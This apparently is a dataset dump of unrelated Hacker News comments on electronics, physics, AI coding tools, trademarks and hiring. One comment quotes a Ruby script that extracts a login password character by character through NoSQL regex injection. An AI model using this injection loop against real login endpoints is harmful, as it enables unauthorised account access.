skysight-inc/HackerNews huggingface dataset:
Oh, you mean Q2-R5 in [1]? That was a late addition, and yes, it's a linear current regulator using a depletion-mode MOSFET. I did that because I didn't want to change the board layout much and it only took two components. Others have built this device, and having good protection circuitry means it works for them, not just me.

Q2-R5 is not the inrush current limiter. The inrush current limiter is U2. That's an AP2553W6.[2]
That's a part designed to solve a specific problem - plugging into a USB port. USB port ICs have overcurrent detection which will quickly turn off power from the port if you try to pull too much power. This keeps external devices from pulling down the +5 rail in a laptop or pad with limited power available. The port turns off until reset. (On Windows this used to take a reboot; Linux usually resets if you close and open the device.)

So if you plug in something with a large filter capacitor, the inrush current as the capacitor charges can momentarily cause an overcurrent condition and shut the port down. The AP2553W6 has both a linear regulator and a switch. When everything is good, the switch is closed and power flows through. If there's a momentary overload, it current limits. If there's a steady overload, it cuts power.

Devices which don't do this power startup properly are often the cause of problems mentioned in searches for "USB port stops working". Not doing this properly saves about $0.25 in parts cost in volume. Such devices will work fine plugged into a USB charger or a desktop machine, but may shut down a USB port on a laptop or tablet.

(This is for USB-A. USB-C is more complicated.)

[1] https://github.com/John-Nagle/ttyloopdriver/blob/master/boar...

[2] https://www.diodes.com/assets/Datasheets/products_inactive_d...
Well I am not sure how they can help by knowing these details when their product provides compute. I dont see any other use of this information than informing their own products about what startups are doing.
Any connection to the recent "White House asks agencies to step up internet routing security efforts" [1] is purely coincidental.

[1] https://news.ycombinator.com/item?id=41482087
Yes I could have worded that better!

So... what you have here is a deterministic non-local hidden variable model which violates Bell Inequalities. The reduced probabilities at Bob's end might look random to him, but fundamentally the measurement outcomes are determined by Alice and Bob's measurement choices. All good.

You also know that any deterministic local hidden variable model must obey Bell Inequalities.

What I'm saying is that any local hidden variable model must obey Bell Inequalities. You cannot increase the value of S by relaxing determinism.

So actually it's kind of a distraction to bring in determinism. Either you have local hidden variables - which obey Bell Inequalities - or you allow non-local hidden variables - in which case Bell Inequalities can be violated. Locality is the key assumption.
This is great, thanks for sharing! Seems like the perfect fun little project that before LLMs could take some serious data work, but LLMs make pretty trivial to process and create.
> Apple knows this and clearly exhibits it with every product demo. It’s all a story. One that I enjoy.

That is true, but I've often seen that misconstrued (not by you in your comment) as somehow saying "Oh, Apple's success is just marketing! I can get feature XYZ for much lower elsewhere!"

Except that while Apple has generally great marketing, they also have generally great products. There is a ton of hard engineering and design work that goes into making a product that is easy to market in the first place. In fact, what the "it's just marketing" crowd tends to miss is that products are not just a collection of features, but are used to tell stories (or listen to stories) in users' own lives. They want to envision how a product will enrich their experiences, and Apple understands that's what they're selling.

In fact, if anything, I think the flop of the Vision Pro (may be quite premature to call it a flop, but I'll put my money on it being a flop) is directly due to the fact that Apple can't tell a story about it. By all accounts it has amazing, cutting edge technology. Except Apple can't tell a good story about what you're actually supposed to do with the thing that people believe and buy in to.
It's USA and the context is banking, so the current year is still somewhere in the 1970s.
I was surprised to see the author didn't provide a single source to support his ramblings. Without any data to support our arguments, I doubt we'll settle these questions, ever.
There’s not much to talk about here. Of course you won’t improve when a third party is producing your code.

That being said, I’m interested to see what happens to LLM effectiveness over time as the amount of LLM-generated code starts infecting training data.
> I highly recommend just getting that magnetic ring instead.

But wearing a ring, while convenient and safer, is not biO hAcKiNg. It gives no bragging rights.
The issue isn't the "hunt for the bottom line" but the fact that simultaneously multiple parties are offered different price points for an unknown reason (to the workers).

You say it's not discrimination, but you cannot definitively make that claim. That's the issue. Red lining isn't immediately discrimination against a protected class, but silently is it. This is not to say that Uber/Lyft are discriminating against a protected class - it's just that because of the lack of transparency we don't know that they are not.

This is a hard thing for people to accept, but we need to take a deep look at how we implement ML to classify things tied to individuals. It's very easy to de-humanize the humans affected by the systems we build, because "it's just an algorithm."
Show HN: GameGame – an LLM to resolve conflicts in board games
I wanted to learn more about RAG implementations, so I built something to solve the constant digging through manuals whenever we play a game.

It's fairly simplistic, but actually has worked pretty well for some of these conflicts. Everythings Open Source on GitHub if you're curious (or have ideas), and I'd love to hear feedback from fellow boardgamers!
I’m surprised how it’s only 30% cheaper vs nvidia. How come? This seems to indicate that the nvidia premium isn’t as high as everybody makes it out to be.
Very cool. I did see this comment (prob an error):

In https://blog-project-fe0ba.web.app/post/REL7NZPjcBL7i19jtk2b

Error:
require 'httpx' username = 'admin' password = '' url = 'http://example.org/login' # CHARSET = (?!..?~).to_a # all ASCII printable characters CHARSET = ['0'..'9','a'..'z','-'] # alphanumeric + '-' GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$'] session = HTTPX.plugin(:persistent) while true CHARSET.each do |c| unless GET_EXCLUDE.include?(c) payload = "?username=#{username}&password[$regex]=^#{password + c}" res = session.get(url + payload) if res.body.to_s.match?('Yeah') puts "Found one more char : #{password + c}" password += c end end end end
I'm honestly not sure if I can answer that question. There's plenty of applications for hypergraphs (e.g. https://www.sciencedirect.com/science/article/pii/S209580992...), so I'd say why not?
I wonder if the aphasics in The Man Who Mistook His Wife for a Hat would've liked TFA as much as they had the TV politician?

EDIT: come to think of it, there's a simple way to have a world without fact-checking: have politicians who can be relied upon to speak truthfully. (Sadly, it's not an easy way.)
Well, Socrates was right. Writing did make us bad at remembering.
Exists.ai: Text-to-game creation platform (beta)
Well to be fair it is a developer beta
Thank you! Reading that comment was actually what prompted me to make an account just to reply that, and then when I did it was gone.
The first WHOIS db was created in early 70s, according to Wikipedia. So, older than DNS itself.
TLS doesn't care what's in the certificate even if you use certificate authentication (which you don't have to for either side). Photo of your 10 metre swimming certificate awarded when you were seven? Fine. MP3 of your cat "singing along" with a pop song? Also fine.

Now, the application using TLS probably cares, and most Internet applications want an X.509 certificate, conforming more or less with PKIX and typically from the Web PKI. But TLS doesn't care about those details.
So this is Rails + Litstream, cool!
Wow, I didn't realize Ko closed either. I went there around the same time and really liked it. But even then you could start to feel the fade a bit in what Chang did. He certainly had his moment and he was very influential. I still remember the first time I ate at Noodle Bar - was amazing.

It looks like they've closed nearly every restaurant they had except a couple Noodle Bars in NYC and Vegas and some other restaurant. Rough times for that industry. Ssäm Bar was a pretty good place, sort of shocked they couldn't keep the lights on there.
Google published this benchmark a year or so ago comparing TPU vs NVIDIA (https://github.com/GoogleCloudPlatform/vertex-ai-samples/blo...)

Conclusion is at the bottom, but TLDR was TPUs were 33% cheaper (performance per dollar) and JAX scales very well compared to PyTorch.

If you are curious, there was a thorough comparison done by Cohere and they published their paper https://arxiv.org/pdf/2309.07181 -- TPU+JAX turned out to be more performant and more fault tolerant (less weird errors).
Interesting. I wonder what could be the cause that a certain minority culture doesn't value education highly?

Go out on a limb, what could it possibly be.
The problem is that the trademark was too generic (chili crunch, to be exact) and he was going after brands that sold a product that had always been known as that or crunchy chili oil, or chili crunch oil.

He didn’t invent the food, and started going after small brands and people that had been selling it since before he had tried registering the trademark.

He did eventually back down.
an interesting thread with speculation about how to eventually do this on local TPUs with llama.cpp and GGUF infrastructure: https://www.reddit.com/r/LocalLLaMA/comments/12o96hf/has_any...
If your weapon against oppression is 99% enabling child pornography to thrive, I fail to see what overall good you are making. How many lives ruined for how many articles read?

You try to paint me as a "purist" that would allow the world to fall into the worst abusive governments just to save 1 child, but if you look at it honestly, you are at least as purist as me, because you would enable arbitrary amount of crimes just to save 1 journalist.

Assuming my 99% is accurate, the numbers are really not in your favor, plus journalists are grown adults that make their own choices, while children don’t chose to risk being abused, filmed and exposed online.
One huge benefit of keeping boxed objects on odd values on the low bits is that you can implement addition/subtraction of the integers without removing the flag bit, doing the operation and then re-adding it, instead you can just add 2 values with the regular add instruction and then use it (since the lowest bit won't change). On the other hand having the pointer offset doesn't do much of a difference since heap values will often be accessed with an offset (and offset-load/store instructions are more or less for free in most cases so subtracting a one to an offset doesn't change the cost)
>contains a decent approximation of the value of pi at 3.1416.

I read this somewhere earlier, in some article about the history of mathematics, maybe Indian, Chinese, or both:

Take the number 113355 (easy to remember). Split it down the middle to get 113 and 355. Divide the latter by the former. E.g. in the Python shell:

> print (355/113)

Result:

3.1415929203539825

which is a slightly closer approximation to pi than 3.1416.
Yeah I love that ripgrep has a different opinion on UX than grep (your "Can ripgrep replace grep" FAQ is great [0]) if only because the thought you put into it makes me also start thinking about those issues, which is fun. Like, maybe at first you balk at ripgrep not honoring locales, but then I was like, "wait why would I ever, ever want that". This is the kind of, I don't know, joy? Epiphany? Expansion? ... that we get from people like you just building a thing you think is good.

[0]: https://github.com/BurntSushi/ripgrep/blob/master/FAQ.md#can...
Precisely that. A fine is a simple non-violent way of enforcing consequences for actions we, as a society, want to discourage.

Here in Poland I have met too many corpo-achievers literally bragging that they just put all their speeding tickets on the corpo-card because it's _peanuts_, so they drive as fast and as loose as they feel...

And no, things are not simple, but fines being proportional to income is better than fixed fines.
I've never been able to see any benefit in this because typing the code takes much less time than deciding what code should be there.

I could get a little bit of benefit out of an autocomplete that only showed legal suggestions, but even with deterministic autocomplete I frequently had to look at too many suggestions and it was faster to throw a query at Google.
Out of safety reasons? In Europe I never even considered checking if the plates match, i also wouldn't care if they didn't
Agreed.

If you're getting paid to ship features, no one cares whether you're learning, or learning the "correct" way. You simply have to get the job done. If tools like copilot help you meet your goals and budget, then they are a good thing.

I heard the same thing in the 90s when Java (and even C++) came on the scene. The C programmers bristled at the idea that you no longer had to deal with memory management. They thought it would make the programmers sloppy, generating poorly performing code bases.

They were right, and it didn't matter.
Yea Kythe + Bazel is a billion times easier to do
People already do this with Android phones. There's a downside: the battery is going to bulge in no time if you keep the phone plugged in all the time.

There are some workarounds (open the phone, solder a power supply to the battery terminals, add a capacitor and a resistor for good measure) but you'd need quite a repairable phone to pull that off easily.

I've always liked that demo of some person running a tiny ARM k8s cluster on his old Oneplus 1, but I'm not sure if I'd like to put the effort in to make it actually be usable in the long term. Still, the above-average transcoding abilities of pretty much every mobile SoC of the last decade and a half could be an interesting addition to a small home lab.
I'm feeling both nostalgic and elated. The first time a friend gave me a version of Turbo Pascal with syntax highlighting was an epiphany. The same feeling struck about a decade later after trying actually usable auto-complete for the first time in JBuilder. Pure magic.

Tools like the replit bot evoke similar emotions. I have no idea why they generate so much negativity from most HN comments. This cohort must be on average younger than myself. I'm pushing 50 and for the first time in decades I fee like we are actually about to witness actual productivity boost in programming craft because let me tell ya, server side js or spa or nosql certainly weren't it.
"Your Honor, It's a Mess" – The FTC's Attempt to Define Accessible Luxury
How is this sea-lioning? The evidence being requested is highly pertinent to the discussion.
I agree that there needs to be some kind of challenge and discovery to really pull kids into learning. Not so difficult that they can't pull it off, but just hard enough that there's a sense of accomplishment.
He trademarked “chili crunch” which is just what that food is called.

It’s like trying to trademark “breakfast cereal” or “hot sauce”.

If it had gone to court he would have lost eventually since other people had been using that name earlier for the same product, and it was too broad
Do you really need to comment to yourself or anyone else that you did a thing the less efficient way because it was simpler? I guess I"m not seeing the use. When later you've perturbed the criteria that caused that function's inefficiency to be immaterial to overall performance needs and it suddenly becomes material, profiling is going to reveal the low-hanging fruit faster than digging through the code for a “this could be faster a different way” comments.
Basically the only advantage an employee can have in this sort of negotiation is not needing to be employed by that company.
As an aside, I haven't seen a .mobi domain out in the wild in the past 6 years.
It’s more than that, I think: if this paper holds up (or if it doesn’t, but the ideas it covers are valid and the practices it’s concerned with later come into being) then it’s describing a mechanism for pushing down worker wages at the individual level, and within potentially any or all bands of the economy toward the market-clearing rate per worker. A market of many workers becomes many markets of one worker.

This is, um, potentially really bad. It’s several effects that already happen in, if you will, chunkier ways in our economy (especially in the US, with weak or absent unions and poor labor protection laws, compared to many other developed states) becoming applied at a much finer level of resolution (so to speak).
Solutions from any source are often wrong. Stack Overflow, intellisense, human peers. The question you have to ask is: does it make you more productive even though there are mistakes?
haha yeah i think my friend was messing around trying to do something, almost all of the post are my friends typing random things
.NET 9 Release Candidate 1 is now available
I personally never use a Word Processor, or any other electronic typing appliance, for the simple reason that I enjoy typing on my mechanical device.

Even if I were unfamiliar with a new keyboard, I'll still never use it. Instead, I'll consult the technical guides and follow examples.

I like typing, and I neither need nor want a word processor to do it

Certain things may seem strange, or that they take away from the experience, but sometimes it is simply progress... good or bad.
There's historical reasons regarding per-host connection limitations of browsers. You would put your images, scripts, etc each on their own subdomain for the sake of increased parallelization of content retrieval. Then came CDNs after that. I feel like I was taught in my support role at a webhost that this was _the_ reasoning for subdomains initially, but that may have been someone's opinion.
https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4848040/

> The static magnetic field B_0 of an MRI machine attracts ferromagnetic objects and accelerates them toward the center of the bore of the MRI scanner. Ferromagnetic objects such as coins, hairpins, steel oxygen tanks or scissors can be accelerated or torqued by B_0 [4,10] and become dangerous projectiles [51]. The MRI safety program of the facility needs to warn about the misconception that larger objects will resist attraction to the field and need to emphasize the relationship between object size, material components, and projectile risk. Insufficient MRI safety training of ancillary medical personnel has led to fatal accidents when medical and other equipment was accelerated into the bore of the magnet [50,51].

X-rays would be no problem. Having something that is attracted by a magnet (such as another magnet) may cause an issue.

https://pubmed.ncbi.nlm.nih.gov/38128958/ has more on the "stuff flying into an MRI with concerning force."

Things like a 10p coin imbedding itself 0.5cm into ballistic gel. A spoon going in 3.5 cm is a bit more concerning.
Solution Street | Herndon, VA (Washington, DC Metro Area)
Remote positions - USA only.

We are a software consulting company based in Northern Virginia.

Our Website: https://www.solutionstreet.com/

UPDATED 9/24/24
Upcoming Opportunities:

We're updating this post to share that our current active roles for the month of September have been filled. Our business development team meets regularly with our recruiting team regarding upcoming project opportunities and we look forward to having more new projects coming available soon. We plan to post any upcoming roles in the HN Who's Hiring? OCT 2024 thread.

Thank you!
yeah i fully understand that but his trademark was way too generic in the first place. used for a long time before that. i have the same issue with backcountry dot com over the widely used term backcountry before they named themselves backcountry... it’s scummy.
Copper, the Rust first robot engine v0.2.3
A lot of the time it'll guess the type signature I'm using or the entire shape of the mock object I'm trying to build. When it works it's much better than intellisense, but I don't ever go to it, if the ghost text pops up in a way that works for me I'll hit tab, otherwise I'll keep typing until/if it figures out what I'm aiming for.
I was just working on a small protein diffusion model and felt bad when I started copying and pasting quaternion functions from pytorch3d to avoid dependency hell.

Lo and behold I see Chai did the same shit in their repo. Lol
Wouldn't usercontent.github.com work just as well?
People have said that types make people worse at programming too lol
I like reading source code examples to learn so if an AI coding bot can help me level up I think that’d be great… maybe even analyze my code and suggest improvements or a better way to solve a problem. I’m not sure AI is at that level yet though.
The Most Sought-After Travel Guide Is a Google Doc
Show HN: SourceGeek – Automate candidate sourcing with our AI-driven platform
SourceGeek is an innovative self-service platform designed for recruiters, sourcers, and HR professionals to streamline their candidate search and outreach process. Using advanced LinkedIn Automation and AI technology, our platform automates the tedious task of sourcing candidates, allowing users to focus on high-value activities.
LLMs are here, they are staying, we either learn to live with them or accept it's the end of our time. There is no putting LLMs back in the box. Whoever does not use them will become irrelevant. Societal progress is not one way, but technological progress is — and there is a good reason for that; the universe is biased towards processes that are better at increasing entropy, if we aren't that, we will be replaced.

It may suck, but facts are facts. Dealing with them is better than pretending they don't exist.
I have a moderate sized legacy project where I need to migrate tests from Enzyme to React Testing Library (RTL). Probably 150+ test files, each containing upwards of 10 test cases.

While not using Copilot, I have GTP-4o assistant with a system prompt setup from trial and error to convert a given test from Enzyme to RTL. There are certain scenarios where a given test cannot actually exist in RTL due to a difference in testing philosophy between the two frameworks and I am required to make some decisions, but overall this is probably 10x faster than refactoring these tests by hand.

One of the important aspects of this, though, is when a I encounter a repeated failure of the LLM, I update the system prompt going forward. Even though this is a simple 1-shot approach, it still works well for a task like this.
bash nerds vs sql nerds I guess, these people are bash nerds
You might have accounts associated with the email. You might be a trusted or respectable member who would never.....
This is cool! I’d be interested in seeing how much of this could be accomplished with svg or raw css
The high voltage version of that is called a Marx generator. The Museum of Science and Industry in Chicago used to have a million volt Marx generator made by General Electric. The parallel to series switching was mechanical. The "crack" when it fired echoed through the whole building.

They've downsized to a Tesla coil.
The Golden Age of Palm OS: Insights from a Developer Who Witnessed It (Aldweb)